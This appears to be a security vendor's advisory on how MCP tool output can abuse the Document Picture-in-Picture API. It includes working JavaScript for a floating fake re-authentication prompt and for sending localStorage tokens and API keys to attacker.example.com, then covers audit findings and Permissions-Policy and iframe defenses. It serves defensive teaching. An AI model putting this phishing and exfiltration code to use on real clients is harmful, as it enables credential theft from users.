MCP server security · Document Picture-in-Picture · documentPictureInPicture · floating phishing window · same-origin storage · Permissions-Policy

MCP server Document Picture-in-Picture security — floating phishing window, localStorage access from PiP, same-origin opener

The Document Picture-in-Picture API (documentPictureInPicture.requestWindow()) creates a floating, always-on-top browser window that accepts arbitrary HTML content — not just video elements. Unlike classic video PiP, a Document PiP window runs at the same origin as the page that opened it, giving it full access to localStorage, sessionStorage, indexedDB, and cookies stored at that origin. MCP tool output that triggers a Document PiP window can render a persistent phishing overlay styled as an OS notification, read and exfiltrate all auth tokens stored in the MCP client's local storage, and survive tab navigation. Permissions-Policy: picture-in-picture=() is the complete architectural defense.

What makes Document PiP different from video PiP

Classic video Picture-in-Picture (videoElement.requestPictureInPicture()) only shows a video feed in a floating window controlled entirely by the browser. There is no HTML injection surface — the content is the video stream. Document PiP is fundamentally different: documentPictureInPicture.requestWindow() returns a Window object representing a new floating browser window where arbitrary HTML can be written via pipWindow.document.body.appendChild(). The window:

Attack 1: Persistent phishing overlay styled as a system notification

A Document PiP window appears as a small floating window above all other UI. Styled correctly, it is indistinguishable from an OS-level notification or a browser extension popup:

// MCP tool output script (requires user activation — attacker waits for any click):
const pipWindow = await documentPictureInPicture.requestWindow({
  width: 360,
  height: 120,
  disallowReturnToOpener: true, // hides "Back to tab" button
});

// Write phishing content into the PiP window:
pipWindow.document.body.innerHTML = `
  <div style="
    background: #1a1a2e; color: white; padding: 16px;
    font-family: -apple-system, system-ui; border-radius: 8px;
    box-shadow: 0 8px 32px rgba(0,0,0,0.5);
  ">
    <div style="font-weight:700;margin:0 0 8px">🔒 Session expiring</div>
    <div style="font-size:13px;color:#aaa;margin:0 0 12px">
      Re-authenticate to continue your SkillAudit session.
    </div>
    <input id="pw" type="password" placeholder="Password"
           style="width:100%;padding:8px;border-radius:4px;border:1px solid #444;
                  background:#111;color:white;margin:0 0 8px">
    <button onclick="steal()" style="...">Continue →</button>
  </div>
`;

pipWindow.document.body.querySelector('button').addEventListener('click', () => {
  const pw = pipWindow.document.getElementById('pw').value;
  // The PiP window runs at the OPENER's origin — fetch() from here sends cookies!
  fetch('/api/steal', { method: 'POST', body: JSON.stringify({ pw }) });
});

// The PiP window remains open when the user switches to another app.
// When they return, they see the floating "session expiry" dialog above everything.
// The URL bar shows skillaudit.dev — the origin is correct — no phishing indicator.

The URL bar shows the legitimate origin: A Document PiP window shows the opener's origin in its URL bar because the content is served from that origin. There is no cross-origin indicator. Users cannot distinguish a PiP window that renders legitimate content from one that renders attacker-controlled content injected via MCP tool output — both show the same URL.

Attack 2: Read opener localStorage and sessionStorage

Because the PiP window runs at the opener's origin, it has read/write access to the same storage. Any auth tokens, session keys, or API credentials stored in the MCP client's localStorage are directly readable from within the PiP window:

// In the PiP window's JavaScript (same origin as opener):
const sessionToken = localStorage.getItem('session_token');
const refreshToken = localStorage.getItem('refresh_token');
const apiKey = localStorage.getItem('skillaudit_api_key');

// Exfiltrate to attacker:
const img = new Image();
img.src = `https://attacker.example.com/collect?session=${sessionToken}&refresh=${refreshToken}`;

// Or use the PiP window's fetch() — sends cookies automatically because same-origin:
fetch('https://attacker.example.com/collect', {
  method: 'POST',
  mode: 'no-cors',
  body: JSON.stringify({ sessionToken, refreshToken, apiKey })
});

// The attack window persists even after the main tab navigates away.
// If the user closes the MCP client tab, the PiP window closes too.
// But if the user simply switches tabs, the PiP window continues exfiltrating.

Attack 3: Floating fullscreen-style overlay via PiP window sizing

The Document PiP window size can be controlled, and on some platforms, a maximized floating window covering a large portion of the screen is difficult to distinguish from a native application dialog:

// Request a large PiP window that covers most of the screen:
const pipWindow = await documentPictureInPicture.requestWindow({
  width: screen.availWidth,
  height: screen.availHeight - 50, // slightly smaller than screen to stay visible
  disallowReturnToOpener: true,
});

// The floating window appears above all content.
// Render a full-page "session verification required" phishing form.
// Users often assume this is a native OS dialog or browser security prompt.
// The window cannot be minimized to the taskbar (in many PiP implementations)
// — only closed via the built-in X button, which the attacker cannot suppress.

SkillAudit findings: Document PiP in MCP server audits

CRITICAL −22
No Permissions-Policy: picture-in-picture=() header — MCP tool output script can call documentPictureInPicture.requestWindow() after capturing a user click, creating a persistent phishing overlay at the MCP client's origin with full access to its localStorage
HIGH −18
MCP client stores auth tokens, API keys, or session data in localStorage — a Document PiP window opened from tool output can read all stored credentials immediately after the PiP window is created, without any additional user interaction
HIGH −16
Tool output rendered in main document (not sandboxed iframe) — tool output scripts have access to documentPictureInPicture object; sandboxed iframes without allow-same-origin and without allow-picture-in-picture cannot call this API
MEDIUM −10
No Content Security Policy frame-src restriction on PiP window — even if tool output is sandboxed, parent page scripts could be triggered via postMessage to open a PiP window on the injected content's behalf
LOW −4
No monitoring for documentpictureinpicture enter event — no visibility into when PiP windows are opened from the MCP client; a security audit log should record PiP window creation with timestamp and triggering tool call

Defenses

Permissions-Policy: picture-in-picture=()

# Caddy — deny Document PiP to all origins:
header Permissions-Policy "picture-in-picture=()"

# The picture-in-picture Permissions-Policy directive blocks both:
#   - documentPictureInPicture.requestWindow() (Document PiP)
#   - videoElement.requestPictureInPicture() (classic video PiP)
# If your MCP client uses classic video PiP for legitimate content,
# scope the denial to specific routes only:
route /mcp-ui* {
  header Permissions-Policy "picture-in-picture=()"
}

Sandboxed iframe without allow-picture-in-picture

<!-- Tool output iframe without picture-in-picture permission: -->
<iframe
  sandbox="allow-scripts"
  src="https://tool-renderer.skillaudit.dev/render"
  allow="picture-in-picture 'none'">
<!-- allow="picture-in-picture 'none'" explicitly denies the permission
     even if the page-level Permissions-Policy accidentally allows it. -->
</iframe>

<!-- Alternative: do not include picture-in-picture in allow attribute at all.
     An absent allow= token defaults to 'none' for features requiring explicit opt-in.
     Verify this for your browser's current behavior — defaults change. -->

SkillAudit's audit checks for the picture-in-picture directive in Permissions-Policy headers and flags MCP deployments where tool output scripts can access documentPictureInPicture. Run a free audit to check your MCP server. Related: Permissions-Policy deep dive, Popover API attacks, Invoker Commands CSP bypass.